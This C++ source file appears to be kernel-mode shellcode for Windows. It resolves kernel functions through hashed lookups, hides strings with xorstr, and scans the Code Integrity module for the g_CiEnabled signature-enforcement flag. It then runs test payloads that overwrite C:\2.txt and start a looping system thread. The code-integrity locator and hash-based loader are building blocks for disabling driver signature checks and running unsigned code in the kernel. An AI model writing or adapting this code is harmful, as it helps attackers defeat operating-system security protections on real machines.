#include "shell_common.h"
#include "xorstr.hpp"
void *  __cdecl memset(_Out_writes_bytes_all_(_Size) void * _Dst, _In_ int _Val, _In_ size_t _Size)
{
	for (size_t i=0;i<_Size;i++)
	{
		*(BYTE*)((PBYTE)_Dst + i) = (BYTE)_Val;
	}
	return _Dst;
}

QWORD GetAddr_g_CiEnabled(QWORD qwAddrModuleCi)
{
	DWORD i = 0, j = 0;
	auto qwA = PEGetProcAddressH(qwAddrModuleCi, H_CiInitialize);
	if (!qwA) {
		return 0;
	}
	do {
		if (*(PBYTE)(qwA + i) == 0xE9) {
			qwA = qwA + i + 5 + *(PLONG)(qwA + i + 1);
			do {
				// Scan for MOV to g_CiEnabled
				if (*(PUSHORT)(qwA + j) == 0x0D89) {
					return qwA + j + 6 + *(PLONG)(qwA + j + 2);
				}
				j++;
			} while (j < 256);
			return 0;
		}
		i++;
	} while (i < 128);
	return 0;
}
NTSTATUS	BkStartThread(PKERNEL_FUNCTIONS fnk,PKSTART_ROUTINE TrdRoutine)
{
	HANDLE		hThread;
	NTSTATUS	ntStatus;
	OBJECT_ATTRIBUTES	oa;

	InitializeObjectAttributes(&oa, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
	ntStatus = fnk->_PsCreateSystemThread(&hThread, GENERIC_ALL, &oa, NULL, NULL, TrdRoutine,(PVOID)fnk);
	if (NT_SUCCESS(ntStatus))
		fnk->ZwClose(hThread);
	return(ntStatus);
}

void test_file(PKERNEL_FUNCTIONS fnk)
{
	IO_STATUS_BLOCK _io;
	OBJECT_ATTRIBUTES _oa;
	UNICODE_STRING _su;
	ANSI_STRING _sa;
	HANDLE hFile;
	//这里已经可以覆盖文件了
	char p[20];
	p[0] = 'P';
	p[1] = 'I';
	p[2] = 'N';
	p[3] = 'G';
	p[4] = '\r';
	p[5] = '\n';
	p[6] = '\0';
	fnk->RtlInitAnsiString(&_sa, xorstr("\\??\\C:\\2.txt").crypt_get());
	fnk->RtlAnsiStringToUnicodeString(&_su, &_sa, TRUE);
	fnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));
	fnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));

	InitializeObjectAttributes(
		&_oa,
		&_su,
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		NULL);

	auto ns = fnk->ZwCreateFile(&hFile,
		GENERIC_WRITE | SYNCHRONIZE,
		&_oa,
		&_io,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		0,
		FILE_OVERWRITE_IF,
		FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
		NULL,
		0);
	if (NT_SUCCESS(ns))
	{
		LARGE_INTEGER offset;
		offset.QuadPart = 0;
		fnk->ZwWriteFile(hFile, nullptr, nullptr, nullptr, &_io, p, (ULONG)fnk->_strlen(p)+1, &offset, nullptr);

	}
	fnk->ZwClose(hFile);
}
VOID	myThread(PVOID Context)
{
	PKERNEL_FUNCTIONS fnk = (PKERNEL_FUNCTIONS)Context;
	LARGE_INTEGER		Interval;
	char p[20];
	p[0] = 'P';
	p[1] = 'I';
	p[2] = 'N';
	p[3] = 'G';
	p[4] = '\r';
	p[5] = '\n';
	p[6] = '\0';
	while (1) {
		Interval.QuadPart = _RELATIVE(_MILLISECONDS(100));
		fnk->KeDelayExecutionThread(KernelMode, TRUE, &Interval);
		fnk->_DbgPrintEx(DPFLTR_DEFAULT_ID, DPFLTR_ERROR_LEVEL, p);
	}
}
EXTERN_C VOID driver_shellcode_entry(_In_ QWORD NtOsImageBase,_In_ PVOID _Context)
{
	//KERNEL_FUNCTIONS osFn;
	UNREFERENCED_PARAMETER(_Context);
	if (!NtOsImageBase)
	{
		return;
	}
	decltype(tdKERNEL_FUNCTIONS::ExAllocatePool) _ExAllocatePool = (decltype(tdKERNEL_FUNCTIONS::ExAllocatePool))PEGetProcAddressH(NtOsImageBase, H_ExAllocatePool);
	auto osFn = (PKERNEL_FUNCTIONS)_ExAllocatePool(NonPagedPool, sizeof(KERNEL_FUNCTIONS));
	InitializeKernelFunctions(NtOsImageBase, osFn);
	test_file(osFn);
	BkStartThread(osFn, myThread);
	//auto _free = &osFn->ExFreePool;
	//_free(osFn);
}